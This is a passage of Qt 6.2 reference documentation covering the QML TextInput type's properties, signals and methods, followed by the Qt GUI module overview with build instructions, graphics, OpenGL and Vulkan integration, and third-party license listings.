 Valid values for `verticalAlignment` are `TextInput.AlignTop` (default), `TextInput.AlignBottom` `TextInput.AlignVCenter`.

 When using the attached property [LayoutMirroring::enabled](qml-qtquick-layoutmirroring#enabled-prop) to mirror application layouts, the horizontal alignment of text will also be mirrored. However, the property `horizontalAlignment` will remain unchanged. To query the effective horizontal alignment of [TextInput](qml-qtquick-textinput), use the read-only property `effectiveHorizontalAlignment`.

 ###  acceptableInput : [bool](qml-bool)

 This property is always true unless a validator or input mask has been set. If a validator or input mask has been set, this property will only be true if the current text is acceptable to the validator or input mask as a final string (not as an intermediate string).

 ###  activeFocusOnPress : [bool](qml-bool)

 Whether the [TextInput](qml-qtquick-textinput) should gain active focus on a mouse press. By default this is set to true.

 ###  autoScroll : [bool](qml-bool)

 Whether the [TextInput](qml-qtquick-textinput) should scroll when the text is longer than the width. By default this is set to true.

 **See also** [ensureVisible](qml-qtquick-textinput#ensureVisible-method)().

 ###  canPaste : [bool](qml-bool)

 Returns true if the [TextInput](qml-qtquick-textinput) is writable and the content of the clipboard is suitable for pasting into the [TextInput](qml-qtquick-textinput).

 ###  canRedo : [bool](qml-bool)

 Returns true if the [TextInput](qml-qtquick-textinput) is writable and there are [undone](qml-qtquick-textinput#undo-method) operations that can be redone.

 ###  canUndo : [bool](qml-bool)

 Returns true if the [TextInput](qml-qtquick-textinput) is writable and there are previous operations that can be undone.

 ###  color : [color](qml-color)

 The text color.

 ###  contentHeight : [real](qml-real)

 Returns the height of the text, including the height past the height that is covered if the text does not fit within the set height.

 ###  contentWidth : [real](qml-real)

 Returns the width of the text, including the width past the width which is covered due to insufficient wrapping if [wrapMode](qml-qtquick-textinput#wrapMode-prop) is set.

 ###  cursorDelegate : Component

 The delegate for the cursor in the [TextInput](qml-qtquick-textinput).

 If you set a cursorDelegate for a [TextInput](qml-qtquick-textinput), this delegate will be used for drawing the cursor instead of the standard cursor. An instance of the delegate will be created and managed by the [TextInput](qml-qtquick-textinput) when a cursor is needed, and the x property of the delegate instance will be set so as to be one pixel before the top left of the current character.

 Note that the root item of the delegate component must be a [QQuickItem](qquickitem) or [QQuickItem](qquickitem) derived item.

 ###  cursorPosition : [int](qml-int)

 The position of the cursor in the [TextInput](qml-qtquick-textinput).

 ###  cursorRectangle : rectangle

 The rectangle where the standard text cursor is rendered within the text input. Read only.

 The position and height of a custom [cursorDelegate](qml-qtquick-textinput#cursorDelegate-prop) are updated to follow the cursorRectangle automatically when it changes. The width of the delegate is unaffected by changes in the cursor rectangle.

 ###  cursorVisible : [bool](qml-bool)

 Set to true when the [TextInput](qml-qtquick-textinput) shows a cursor.

 This property is set and unset when the [TextInput](qml-qtquick-textinput) gets active focus, so that other properties can be bound to whether the cursor is currently showing. As it gets set and unset automatically, when you set the value yourself you must keep in mind that your value may be overwritten.

 It can be set directly in script, for example if a KeyProxy might forward keys to it and you desire it to look active when this happens (but without actually giving it active focus).

 It should not be set directly on the item, like in the below QML, as the specified value will be overridden and lost on focus changes.

 
```
TextInput {
    text: "Text"
    cursorVisible: false
}
```
 In the above snippet the cursor will still become visible when the [TextInput](qml-qtquick-textinput) gains active focus.

 ###  [read-only] displayText : [string](qml-string)

 This is the text displayed in the [TextInput](qml-qtquick-textinput).

 If [echoMode](qml-qtquick-textinput#echoMode-prop) is set to TextInput::Normal, this holds the same value as the [TextInput::text](qml-qtquick-textinput#text-prop) property. Otherwise, this property holds the text visible to the user, while the [text](qml-qtquick-textinput#text-prop) property holds the actual entered text.

  **Note:** Unlike the [TextInput::text](qml-qtquick-textinput#text-prop) property, this contains partial text input from an input method.

  **See also** [preeditText](qml-qtquick-textinput#preeditText-prop).

 ###  echoMode : [enumeration](qml-enumeration)

 Specifies how the text should be displayed in the [TextInput](qml-qtquick-textinput).

 * [TextInput](qml-qtquick-textinput).Normal - Displays the text as it is. (Default)
* [TextInput](qml-qtquick-textinput).Password - Displays platform-dependent password mask characters instead of the actual characters.
* [TextInput](qml-qtquick-textinput).NoEcho - Displays nothing.
* [TextInput](qml-qtquick-textinput).PasswordEchoOnEdit - Displays characters as they are entered while editing, otherwise identical to `TextInput.Password`.

 ###  font.bold : [bool](qml-bool)

 Sets whether the font weight is bold.

 ###  font.capitalization : [enumeration](qml-enumeration)

 Sets the capitalization for the text.

 * Font.MixedCase - This is the normal text rendering option where no capitalization change is applied.
* Font.AllUppercase - This alters the text to be rendered in all uppercase type.
* Font.AllLowercase - This alters the text to be rendered in all lowercase type.
* Font.SmallCaps - This alters the text to be rendered in small-caps type.
* Font.Capitalize - This alters the text to be rendered with the first character of each word as an uppercase character.

 
```
TextInput { text: "Hello"; font.capitalization: Font.AllLowercase }
```
 ###  font.family : [string](qml-string)

 Sets the family name of the font.

 The family name is case insensitive and may optionally include a foundry name, e.g. "Helvetica [Cronyx]". If the family is available from more than one foundry and the foundry isn't specified, an arbitrary foundry is chosen. If the family isn't available a family will be set using the font matching algorithm.

 ###  [since 5.8] font.hintingPreference : [enumeration](qml-enumeration)

 Sets the preferred hinting on the text. This is a hint to the underlying text rendering system to use a certain level of hinting, and has varying support across platforms. See the table in the documentation for [QFont::HintingPreference](qfont#HintingPreference-enum) for more details.

  **Note:** This property only has an effect when used together with render type [TextInput](qml-qtquick-textinput).NativeRendering.

  Font.PreferDefaultHinting - Use the default hinting level for the target platform.

 Font.PreferNoHinting - If possible, render text without hinting the outlines of the glyphs. The text layout will be typographically accurate, using the same metrics as are used e.g. when printing.

 Font.PreferVerticalHinting - If possible, render text with no horizontal hinting, but align glyphs to the pixel grid in the vertical direction. The text will appear crisper on displays where the density is too low to give an accurate rendering of the glyphs. But since the horizontal metrics of the glyphs are unhinted, the text's layout will be scalable to higher density devices (such as printers) without impacting details such as line breaks.

 Font.PreferFullHinting - If possible, render text with hinting in both horizontal and vertical directions. The text will be altered to optimize legibility on the target device, but since the metrics will depend on the target size of the text, the positions of glyphs, line breaks, and other typographical detail will not scale, meaning that a text layout may look different on devices with different pixel densities.

 
```
TextInput { text: "Hello"; renderType: TextInput.NativeRendering; font.hintingPreference: Font.PreferVerticalHinting }
```
 This property was introduced in Qt 5.8.

 ###  font.italic : [bool](qml-bool)

 Sets whether the font has an italic style.

 ###  [since 5.10] font.kerning : [bool](qml-bool)

 Enables or disables the kerning OpenType feature when shaping the text. Disabling this may improve performance when creating or changing the text, at the expense of some cosmetic features. The default value is true.

 
```
TextInput { text: "OATS FLAVOUR WAY"; font.kerning: false }
```
 This property was introduced in Qt 5.10.

 ###  font.letterSpacing : [real](qml-real)

 Sets the letter spacing for the font.

 Letter spacing changes the default spacing between individual letters in the font. A positive value increases the letter spacing by the corresponding pixels; a negative value decreases the spacing.

 ###  font.pixelSize : [int](qml-int)

 Sets the font size in pixels.

 Using this function makes the font device dependent. Use `pointSize` to set the size of the font in a device independent manner.

 ###  font.pointSize : [real](qml-real)

 Sets the font size in points. The point size must be greater than zero.

 ###  [since 5.10] font.preferShaping : [bool](qml-bool)

 Sometimes, a font will apply complex rules to a set of characters in order to display them correctly. In some writing systems, such as Brahmic scripts, this is required in order for the text to be legible, but in e.g. Latin script, it is merely a cosmetic feature. Setting the `preferShaping` property to false will disable all such features when they are not required, which will improve performance in most cases.

 The default value is true.

 
```
TextInput { text: "Some text"; font.preferShaping: false }
```
 This property was introduced in Qt 5.10.

 ###  font.strikeout : [bool](qml-bool)

 Sets whether the font has a strikeout style.

 ###  [since 5.6] font.styleName : [string](qml-string)

 Sets the style name of the font.

 The style name is case insensitive. If set, the font will be matched against style name instead of the font properties [font.weight](qml-qtquick-textinput#font.weight-prop), [font.bold](qml-qtquick-textinput#font.bold-prop) and [font.italic](qml-qtquick-textinput#font.italic-prop).

 This property was introduced in Qt 5.6.

 ###  font.underline : [bool](qml-bool)

 Sets whether the text is underlined.

 ###  font.weight : [int](qml-int)

 The requested weight of the font. The weight requested must be an integer between 1 and 1000, or one of the predefined values:

 * Font.Thin
* Font.Light
* Font.ExtraLight
* Font.Normal - the default
* Font.Medium
* Font.DemiBold
* Font.Bold
* Font.ExtraBold
* Font.Black

 
```
TextInput { text: "Hello"; font.weight: Font.DemiBold }
```
 ###  font.wordSpacing : [real](qml-real)

 Sets the word spacing for the font.

 Word spacing changes the default spacing between individual words. A positive value increases the word spacing by a corresponding amount of pixels, while a negative value decreases the inter-word spacing accordingly.

 ###  inputMask : [string](qml-string)

 Allows you to set an input mask on the [TextInput](qml-qtquick-textinput), restricting the allowable text inputs. See [QLineEdit::inputMask](qlineedit#inputMask-prop) for further details, as the exact same mask strings are used by [TextInput](qml-qtquick-textinput).

 **See also** [acceptableInput](qml-qtquick-textinput#acceptableInput-prop) and [validator](qml-qtquick-textinput#validator-prop).

 ###  inputMethodComposing : [bool](qml-bool)

 This property holds whether the [TextInput](qml-qtquick-textinput) has partial text input from an input method.

 While it is composing an input method may rely on mouse or key events from the [TextInput](qml-qtquick-textinput) to edit or commit the partial text. This property can be used to determine when to disable events handlers that may interfere with the correct operation of an input method.

 ###  inputMethodHints : [enumeration](qml-enumeration)

 Provides hints to the input method about the expected content of the text input and how it should operate.

 The value is a bit-wise combination of flags, or Qt.ImhNone if no hints are set.

 Flags that alter behaviour are:

 * Qt.ImhHiddenText - Characters should be hidden, as is typically used when entering passwords. This is automatically set when setting [echoMode](qml-qtquick-textinput#echoMode-prop) to `TextInput.Password`.
* Qt.ImhSensitiveData - Typed text should not be stored by the active input method in any persistent storage like predictive user dictionary.
* Qt.ImhNoAutoUppercase - The input method should not try to automatically switch to upper case when a sentence ends.
* Qt.ImhPreferNumbers - Numbers are preferred (but not required).
* Qt.ImhPreferUppercase - Upper case letters are preferred (but not required).
* Qt.ImhPreferLowercase - Lower case letters are preferred (but not required).
* Qt.ImhNoPredictiveText - Do not use predictive text (i.e. dictionary lookup) while typing.
* Qt.ImhDate - The text editor functions as a date field.
* Qt.ImhTime - The text editor functions as a time field.
* Qt.ImhMultiLine - The text editor doesn't close software input keyboard when Return or Enter key is pressed (since [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html) 2.4).

 Flags that restrict input (exclusive flags) are:

 * Qt.ImhDigitsOnly - Only digits are allowed.
* Qt.ImhFormattedNumbersOnly - Only number input is allowed. This includes decimal point and minus sign.
* Qt.ImhUppercaseOnly - Only upper case letter input is allowed.
* Qt.ImhLowercaseOnly - Only lower case letter input is allowed.
* Qt.ImhDialableCharactersOnly - Only characters suitable for phone dialing are allowed.
* Qt.ImhEmailCharactersOnly - Only characters suitable for email addresses are allowed.
* Qt.ImhUrlCharactersOnly - Only characters suitable for URLs are allowed.

 Masks:

 * Qt.ImhExclusiveInputMask - This mask yields nonzero if any of the exclusive flags are used.

 ###  length : [int](qml-int)

 Returns the total number of characters in the [TextInput](qml-qtquick-textinput) item.

 If the [TextInput](qml-qtquick-textinput) has an [inputMask](qml-qtquick-textinput#inputMask-prop) the length will include mask characters and may differ from the length of the string returned by the [text](qml-qtquick-textinput#text-prop) property.

 This property can be faster than querying the length the [text](qml-qtquick-textinput#text-prop) property as it doesn't require any copying or conversion of the [TextInput](qml-qtquick-textinput)'s internal string data.

 ###  maximumLength : [int](qml-int)

 The maximum permitted length of the text in the [TextInput](qml-qtquick-textinput).

 If the text is too long, it is truncated at the limit.

 By default, this property contains a value of 32767.

 ###  mouseSelectionMode : [enumeration](qml-enumeration)

 Specifies how text should be selected using a mouse.

 * [TextInput](qml-qtquick-textinput).SelectCharacters - The selection is updated with individual characters. (Default)
* [TextInput](qml-qtquick-textinput).SelectWords - The selection is updated with whole words.

 This property only applies when [selectByMouse](qml-qtquick-textinput#selectByMouse-prop) is true.

 ###  [since 5.8] overwriteMode : [bool](qml-bool)

 Whether text entered by the user will overwrite existing text.

 As with many text editors, the text editor widget can be configured to insert or overwrite existing text with new text entered by the user.

 If this property is `true`, existing text is overwritten, character-for-character by new text; otherwise, text is inserted at the cursor position, displacing existing text.

 By default, this property is `false` (new text does not overwrite existing text).

 This property was introduced in Qt 5.8.

 ###  passwordCharacter : [string](qml-string)

 This is the character displayed when [echoMode](qml-qtquick-textinput#echoMode-prop) is set to Password or PasswordEchoOnEdit. By default it is the password character used by the platform theme.

 If this property is set to a string with more than one character, the first character is used. If the string is empty, the value is ignored and the property is not set.

 ###  [since 5.4] passwordMaskDelay : [int](qml-int)

 Sets the delay before visible character is masked with password character, in milliseconds.

 The reset method will be called by assigning undefined.

 This property was introduced in Qt 5.4.

 ###  persistentSelection : [bool](qml-bool)

 Whether the [TextInput](qml-qtquick-textinput) should keep its selection when it loses active focus to another item in the scene. By default this is set to false;

 ###  [read-only, since 5.7] preeditText : [string](qml-string)

 This property contains partial text input from an input method.

 This property was introduced in Qt 5.7.

 **See also** [displayText](qml-qtquick-textinput#displayText-prop).

 ###  readOnly : [bool](qml-bool)

 Sets whether user input can modify the contents of the [TextInput](qml-qtquick-textinput).

 If readOnly is set to true, then user input will not affect the text property. Any bindings or attempts to set the text property will still work.

 ###  renderType : [enumeration](qml-enumeration)

 Override the default rendering type for this component.

 Supported render types are:

 * Text.QtRendering
* Text.NativeRendering

 Select Text.NativeRendering if you prefer text to look native on the target platform and do not require advanced features such as transformation of the text. Using such features in combination with the NativeRendering render type will lend poor and sometimes pixelated results.

 The default rendering type is determined by [QQuickWindow::textRenderType](qquickwindow#textRenderType)().

 ###  selectByMouse : [bool](qml-bool)

 Defaults to false.

 If true, the user can use the mouse to select text in some platform-specific way. Note that for some platforms this may not be an appropriate interaction (it may conflict with how the text needs to behave inside a [Flickable](qml-qtquick-flickable), for example).

 ###  selectedText : [string](qml-string)

 This read-only property provides the text currently selected in the text input.

 It is equivalent to the following snippet, but is faster and easier to use.

 
```
myTextInput.text.toString().substring(myTextInput.selectionStart,
    myTextInput.selectionEnd);
```
 ###  selectedTextColor : [color](qml-color)

 The highlighted text color, used in selections.

 ###  selectionColor : [color](qml-color)

 The text highlight color, used behind selections.

 ###  selectionEnd : [int](qml-int)

 The cursor position after the last character in the current selection.

 This property is read-only. To change the selection, use select(start,end), [selectAll](qml-qtquick-textinput#selectAll-method)(), or [selectWord](qml-qtquick-textinput#selectWord-method)().

 **See also** [selectionStart](qml-qtquick-textinput#selectionStart-prop), [cursorPosition](qml-qtquick-textinput#cursorPosition-prop), and [selectedText](qml-qtquick-textinput#selectedText-prop).

 ###  selectionStart : [int](qml-int)

 The cursor position before the first character in the current selection.

 This property is read-only. To change the selection, use select(start,end), [selectAll](qml-qtquick-textinput#selectAll-method)(), or [selectWord](qml-qtquick-textinput#selectWord-method)().

 **See also** [selectionEnd](qml-qtquick-textinput#selectionEnd-prop), [cursorPosition](qml-qtquick-textinput#cursorPosition-prop), and [selectedText](qml-qtquick-textinput#selectedText-prop).

 ###  text : [string](qml-string)

 The text in the [TextInput](qml-qtquick-textinput).

 **See also** [clear](qml-qtquick-textinput#clear-method)().

 ###  validator : Validator

 Allows you to set a validator on the [TextInput](qml-qtquick-textinput). When a validator is set the [TextInput](qml-qtquick-textinput) will only accept input which leaves the text property in an acceptable or intermediate state. The accepted signal will only be sent if the text is in an acceptable state when enter is pressed.

 Currently supported validators are [IntValidator](qml-qtquick-intvalidator), [DoubleValidator](qml-qtquick-doublevalidator) and [RegularExpressionValidator](qml-qtquick-regularexpressionvalidator). An example of using validators is shown below, which allows input of integers between 11 and 31 into the text input:

 
```
import QtQuick 2.0
TextInput{
    validator: IntValidator{bottom: 11; top: 31;}
    focus: true
}
```
 **See also** [acceptableInput](qml-qtquick-textinput#acceptableInput-prop) and [inputMask](qml-qtquick-textinput#inputMask-prop).

 ###  wrapMode : [enumeration](qml-enumeration)

 Set this property to wrap the text to the [TextInput](qml-qtquick-textinput) item's width. The text will only wrap if an explicit width has been set.

 * [TextInput](qml-qtquick-textinput).NoWrap - no wrapping will be performed. If the text contains insufficient newlines, then implicitWidth will exceed a set width.
* [TextInput](qml-qtquick-textinput).WordWrap - wrapping is done on word boundaries only. If a word is too long, implicitWidth will exceed a set width.
* [TextInput](qml-qtquick-textinput).WrapAnywhere - wrapping is done at any point on a line, even if it occurs in the middle of a word.
* [TextInput](qml-qtquick-textinput).Wrap - if possible, wrapping occurs at a word boundary; otherwise it will occur at the appropriate point on the line, even in the middle of a word.

 The default is [TextInput](qml-qtquick-textinput).NoWrap. If you set a width, consider using [TextInput](qml-qtquick-textinput).Wrap.

 Signal Documentation
--------------------

 ###  accepted()

 This signal is emitted when the Return or Enter key is pressed. Note that if there is a [validator](qml-qtquick-textinput#validator-prop) or [inputMask](qml-qtquick-textinput#inputMask-prop) set on the text input, the signal will only be emitted if the input is in an acceptable state.

 **Note:** The corresponding handler is `onAccepted`.

 ###  `[since 5.2]` editingFinished()

 This signal is emitted when the Return or Enter key is pressed or the text input loses focus. Note that if there is a validator or [inputMask](qml-qtquick-textinput#inputMask-prop) set on the text input and enter/return is pressed, this signal will only be emitted if the input follows the [inputMask](qml-qtquick-textinput#inputMask-prop) and the validator returns an acceptable state.

 **Note:** The corresponding handler is `onEditingFinished`.

 This signal was introduced in Qt 5.2.

 ###  `[since 5.9]` textEdited()

 This signal is emitted whenever the text is edited. Unlike `textChanged()`, this signal is not emitted when the text is changed programmatically, for example, by changing the value of the `text` property or by calling `clear()`.

 **Note:** The corresponding handler is `onTextEdited`.

 This signal was introduced in Qt 5.9.

 Method Documentation
--------------------

 ###  `[since 5.7]` clear()

 Clears the contents of the text input and resets partial text input from an input method.

 Use this method instead of setting the [text](qml-qtquick-textinput#text-prop) property to an empty string.

 This method was introduced in Qt 5.7.

 **See also** [QInputMethod::reset](qinputmethod#reset)().

 ###  copy()

 Copies the currently selected text to the system clipboard.

  **Note:** If the echo mode is set to a mode other than Normal then copy will not work. This is to prevent using copy as a method of bypassing password features of the line control.

  ###  cut()

 Moves the currently selected text to the system clipboard.

  **Note:** If the echo mode is set to a mode other than Normal then cut will not work. This is to prevent using cut as a method of bypassing password features of the line control.

  ###  deselect()

 Removes active text selection.

 ###  `[since 5.4]` ensureVisible([int](qml-int) *position*)

 Scrolls the contents of the text input so that the specified character *position* is visible inside the boundaries of the text input.

 This method was introduced in Qt 5.4.

 **See also** [autoScroll](qml-qtquick-textinput#autoScroll-prop).

 ###  [string](qml-string) getText([int](qml-int) *start*, [int](qml-int) *end*)

 Returns the section of text that is between the *start* and *end* positions.

 If the [TextInput](qml-qtquick-textinput) has an [inputMask](qml-qtquick-textinput#inputMask-prop) the length will include mask characters.

 ###  insert([int](qml-int) *position*, [string](qml-string) *text*)

 Inserts *text* into the [TextInput](qml-qtquick-textinput) at *position*.

 ###  isRightToLeft([int](qml-int) *start*, [int](qml-int) *end*)

 Returns true if the natural reading direction of the editor text found between positions *start* and *end* is right to left.

 ###  moveCursorSelection([int](qml-int) *position*, SelectionMode *mode*)

 Moves the cursor to *position* and updates the selection according to the optional *mode* parameter. (To only move the cursor, set the [cursorPosition](qml-qtquick-textinput#cursorPosition-prop) property.)

 When this method is called it additionally sets either the [selectionStart](qml-qtquick-textinput#selectionStart-prop) or the [selectionEnd](qml-qtquick-textinput#selectionEnd-prop) (whichever was at the previous cursor position) to the specified position. This allows you to easily extend and contract the selected text range.

 The selection mode specifies whether the selection is updated on a per character or a per word basis. If not specified the selection mode will default to `TextInput.SelectCharacters`.

 * [TextInput](qml-qtquick-textinput).SelectCharacters - Sets either the [selectionStart](qml-qtquick-textinput#selectionStart-prop) or [selectionEnd](qml-qtquick-textinput#selectionEnd-prop) (whichever was at the previous cursor position) to the specified position.
* [TextInput](qml-qtquick-textinput).SelectWords - Sets the [selectionStart](qml-qtquick-textinput#selectionStart-prop) and [selectionEnd](qml-qtquick-textinput#selectionEnd-prop) to include all words between the specified position and the previous cursor position. Words partially in the range are included.

 For example, take this sequence of calls:

 
```
cursorPosition = 5
moveCursorSelection(9, TextInput.SelectCharacters)
moveCursorSelection(7, TextInput.SelectCharacters)
```
 This moves the cursor to position 5, extend the selection end from 5 to 9 and then retract the selection end from 9 to 7, leaving the text from position 5 to 7 selected (the 6th and 7th characters).

 The same sequence with [TextInput](qml-qtquick-textinput).SelectWords will extend the selection start to a word boundary before or on position 5 and extend the selection end to a word boundary on or past position 9.

 ###  paste()

 Replaces the currently selected text by the contents of the system clipboard.

 ###  [int](qml-int) positionAt([real](qml-real) *x*, [real](qml-real) *y*, CursorPosition *position*)

 This function returns the character position at *x* and *y* pixels from the top left of the textInput. Position 0 is before the first character, position 1 is after the first character but before the second, and so on until position text.length, which is after all characters.

 This means that for all x values before the first character this function returns 0, and for all x values after the last character this function returns text.length. If the y value is above the text the position will be that of the nearest character on the first line and if it is below the text the position of the nearest character on the last line will be returned.

 The cursor *position* parameter specifies how the cursor position should be resolved:

 

| Constant | Description |
| --- | --- |
| `TextInput.CursorBetweenCharacters` | Returns the position between characters that is nearest x. This is the default value. |
| `TextInput.CursorOnCharacter` | Returns the position before the character that is nearest x. |

 ###  [rect](qml-rect) positionToRectangle([int](qml-int) *pos*)

 This function takes a character position *pos* and returns the rectangle that the cursor would occupy, if it was placed at that character position.

 This is similar to setting the [cursorPosition](qml-qtquick-textinput#cursorPosition-prop), and then querying the cursor rectangle, but the [cursorPosition](qml-qtquick-textinput#cursorPosition-prop) is not changed.

 ###  redo()

 Redoes the last operation if redo is [available](qml-qtquick-textinput#canRedo-prop).

 ###  remove([int](qml-int) *start*, [int](qml-int) *end*)

 Removes the section of text that is between the *start* and *end* positions from the [TextInput](qml-qtquick-textinput).

 ###  select([int](qml-int) *start*, [int](qml-int) *end*)

 Causes the text from *start* to *end* to be selected.

 If either start or end is out of range, the selection is not changed.

 After calling this, [selectionStart](qml-qtquick-textinput#selectionStart-prop) will become the lesser and [selectionEnd](qml-qtquick-textinput#selectionEnd-prop) will become the greater (regardless of the order passed to this method).

 **See also** [selectionStart](qml-qtquick-textinput#selectionStart-prop) and [selectionEnd](qml-qtquick-textinput#selectionEnd-prop).

 ###  selectAll()

 Causes all text to be selected.

 ###  selectWord()

 Causes the word closest to the current cursor position to be selected.

 ###  undo()

 Undoes the last operation if undo is [available](qml-qtquick-textinput#canUndo-prop). Deselects any current selection, and updates the selection start to the current cursor position.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-textinput.html>

Qt GUI
======

 The Qt GUI module provides classes for windowing system integration, event handling, OpenGL and OpenGL ES integration, 2D graphics, basic imaging, fonts and text. These classes are used internally by Qt's user interface technologies and can also be used directly, for instance to write applications using low-level OpenGL ES graphics APIs.

 For application developers writing user interfaces, Qt provides higher level API's, like Qt Quick, that are much more suitable than the enablers found in the Qt GUI module.

 Using the Module
----------------

 Using a Qt module requires linking against the module library, either directly or through other dependencies. Several build tools have dedicated support for this, including [CMake](http://www.cmake.org/cmake/help/documentation.html) and [qmake](resources#qmake).

 ### Building with CMake

 Use the `find_package()` command to locate the needed module components in the `Qt6` package:

 
```
find_package(Qt6 COMPONENTS Gui REQUIRED)
target_link_libraries(mytarget PRIVATE Qt6::Gui)
```
 See also the [Build with CMake](cmake-manual) overview.

 ### Building with qmake

 If you use [qmake](resources#qmake) to build your projects, Qt GUI is included by default. To disable Qt GUI, add the following line to your `.pro` file:

 
```
QT -= gui
```
 Application Windows
-------------------

 The most important classes in the Qt GUI module are [QGuiApplication](qguiapplication) and [QWindow](qwindow). A Qt application that wants to show content on screen, will need to make use of these. [QGuiApplication](qguiapplication) contains the main event loop, where all events from the window system and other sources are processed and dispatched. It also handles the application's initialization and finalization.

 The [QWindow](qwindow) class represents a window in the underlying windowing system. It provides a number of virtual functions to handle events ([QEvent](qevent)) from the windowing system, such as touch-input, exposure, focus, key strokes and geometry changes.

 2D Graphics
-----------

 The Qt GUI module contains classes for 2D graphics, imaging, fonts and advanced typography.

 A [QWindow](qwindow) created with the surface type [QSurface::RasterSurface](qsurface#SurfaceType-enum) can be used in combination with [QBackingStore](qbackingstore) and [QPainter](qpainter), Qt's highly optimized 2D vector graphics API. [QPainter](qpainter) supports drawing lines, polygons, vector paths, images and text. For more information, see [Paint System](paintsystem) and [Raster Window Example](https://doc.qt.io/qt-6.2/qtgui-rasterwindow-example.html).

 Qt can load and save images using the [QImage](qimage) and [QPixmap](qpixmap) classes. By default, Qt supports the most common image formats including JPEG and PNG among others. Users can add support for additional formats via the [QImageIOPlugin](qimageioplugin) class. For more information, see [Reading and Writing Image Files](paintsystem-images)

 Typography in Qt is done with [QTextDocument](qtextdocument) which uses the [QPainter](qpainter) API in combination with Qt's font classes, primarily [QFont](qfont). Applications that prefer more low-level APIs to text and font handling, classes like [QRawFont](qrawfont) and [QGlyphRun](https://doc.qt.io/qt-6.2/qglyphrun.html) can be used.

 OpenGL and OpenGL ES Integration
--------------------------------

 [QWindow](qwindow) supports rendering using OpenGL and OpenGL ES, depending on what the platform supports. OpenGL rendering is enabled by setting the [QWindow](qwindow)'s surface type to [QSurface::OpenGLSurface](qsurface#SurfaceType-enum), choosing the format attributes with [QSurfaceFormat](qsurfaceformat), and then creating a [QOpenGLContext](qopenglcontext) to manage the native OpenGL context. In addition, Qt has [QOpenGLPaintDevice](qopenglpaintdevice), which enables the use of OpenGL accelerated [QPainter](qpainter) rendering, as well as convenience classes that simplify the writing of OpenGL code and hides the complexities of extension handling and the differences between OpenGL ES 2 and desktop OpenGL. The convenience classes include [QOpenGLFunctions](https://doc.qt.io/qt-6.2/qopenglfunctions.html) that lets an application use all the OpenGL ES 2 functions on desktop OpenGL without having to manually resolve the OpenGL function pointers, thus allowing cross-platform development of applications targeting mobile or embedded devices, and some classes that wrap native OpenGL functionality in a simpler Qt API:

 * [QOpenGLBuffer](qopenglbuffer)
* [QOpenGLFramebufferObject](qopenglframebufferobject)
* [QOpenGLShaderProgram](qopenglshaderprogram)
* [QOpenGLTexture](qopengltexture)
* [QOpenGLDebugLogger](qopengldebuglogger)
* [QOpenGLTimerQuery](qopengltimerquery)
* [QOpenGLVertexArrayObject](qopenglvertexarrayobject)

 Finally, in order to provide better support for the newer versions (3.0 and higher) of OpenGL, a versioned function wrapper mechanism is also available: The QOpenGLFunction\_N\_N family of classes expose all the functions in a given OpenGL version and profile, allowing easy development of desktop applications relying on modern, desktop-only OpenGL features.

 For more information, see the [OpenGL Window Example](https://doc.qt.io/qt-6.2/qtopengl-openglwindow-example.html).

 The Qt GUI module also contains a few math classes to aid with the most common mathematical operations related to 3D graphics. These classes include [QMatrix4x4](qmatrix4x4), [QVector4D](qvector4d) and [QQuaternion](qquaternion)

 A [QWindow](qwindow) created with the [QSurface::OpenGLSurface](qsurface#SurfaceType-enum) can be used in combination with [QPainter](qpainter) and [QOpenGLPaintDevice](qopenglpaintdevice) to have OpenGL hardware accelerated 2D graphics, by sacrificing some of the visual quality.

 Vulkan Integration
------------------

 Qt GUI has support for the [Vulkan](https://www.khronos.org/vulkan/) API. Qt applications require the presence of the [LunarG Vulkan SDK](https://www.lunarg.com/vulkan-sdk/).

 On Windows, the SDK sets the environment variable `VULKAN_SDK`, which will be detected by the `configure` script.

 On Android, Vulkan headers were added in API level 24 of the NDK.

 Relevant classes:

 * [QVulkanDeviceFunctions](qvulkandevicefunctions)
* [QVulkanExtension](qvulkanextension)
* [QVulkanFunctions](qvulkanfunctions)
* [QVulkanInfoVector](qvulkaninfovector)
* [QVulkanInstance](qvulkaninstance)
* [QVulkanWindow](qvulkanwindow)
* [QVulkanWindowRenderer](qvulkanwindowrenderer)

 For more information, see the [Hello Vulkan Widget Example](https://doc.qt.io/qt-6.2/qtgui-hellovulkanwidget-example.html) and the [Hello Vulkan Window Example](https://doc.qt.io/qt-6.2/qtgui-hellovulkanwindow-example.html).

 Drag and Drop
-------------

 Qt GUI includes support for drag and drop. The [Drag and Drop](dnd) overview has more information.

 Module Evolution
----------------

 [Changes to Qt GUI](gui-changes-qt6) lists important changes in the module API and functionality that were done for the Qt 6 series of Qt.

 Licenses and Attributions
-------------------------

 Qt GUI is available under commercial licenses from [The Qt Company](http://www.qt.io/about-us/). In addition, it is available under free software licenses: The [GNU Lesser General Public License, version 3](http://www.gnu.org/licenses/lgpl-3.0.html), or the [GNU General Public License, version 2](http://www.gnu.org/licenses/gpl-2.0.html). See [Qt Licensing](https://doc.qt.io/qt-6.2/licensing.html) for further details.

 Furthermore, Qt GUI in Qt 6.2.2 may contain third-party modules under following permissive licenses:

 

|  |  |
| --- | --- |
| [Adobe Glyph List For New Fonts, version 1.7](https://doc.qt.io/qt-6.2/qtgui-attribution-aglfn.html) | BSD 3-Clause "New" or "Revised" License |
| [Anti-aliasing rasterizer from FreeType 2](https://doc.qt.io/qt-6.2/qtgui-attribution-grayraster.html) | Freetype Project License or GNU General Public License v2.0 only |
| [Bitstream Vera Font, version 1.10](https://doc.qt.io/qt-6.2/qtgui-attribution-vera-font.html) | Bitstream Vera Font License |
| [Cocoa Platform Plugin](https://doc.qt.io/qt-6.2/qtgui-attribution-cocoa-platform-plugin.html) | BSD 3-clause "New" or "Revised" License |
| [DejaVu Fonts, version 2.37](https://doc.qt.io/qt-6.2/qtgui-attribution-dejayvu.html) | Bitstream Vera Font License |
| [Freetype 2 - Bitmap Distribution Format (BDF) support](https://doc.qt.io/qt-6.2/qtgui-attribution-freetype-bdf.html) | MIT License |
| [Freetype 2 - Portable Compiled Format (PCF) support](https://doc.qt.io/qt-6.2/qtgui-attribution-freetype-pcf.html) | MIT License |
| [Freetype 2 - zlib](https://doc.qt.io/qt-6.2/qtgui-attribution-freetype-zlib.html) | zlib License |
| [Freetype 2, version 2.10.4](https://doc.qt.io/qt-6.2/qtgui-attribution-freetype.html) | Freetype Project License or GNU General Public License v2.0 only |
| [HarfBuzz-NG, version 2.9.0](https://doc.qt.io/qt-6.2/qtgui-attribution-harfbuzz-ng.html) | MIT License |
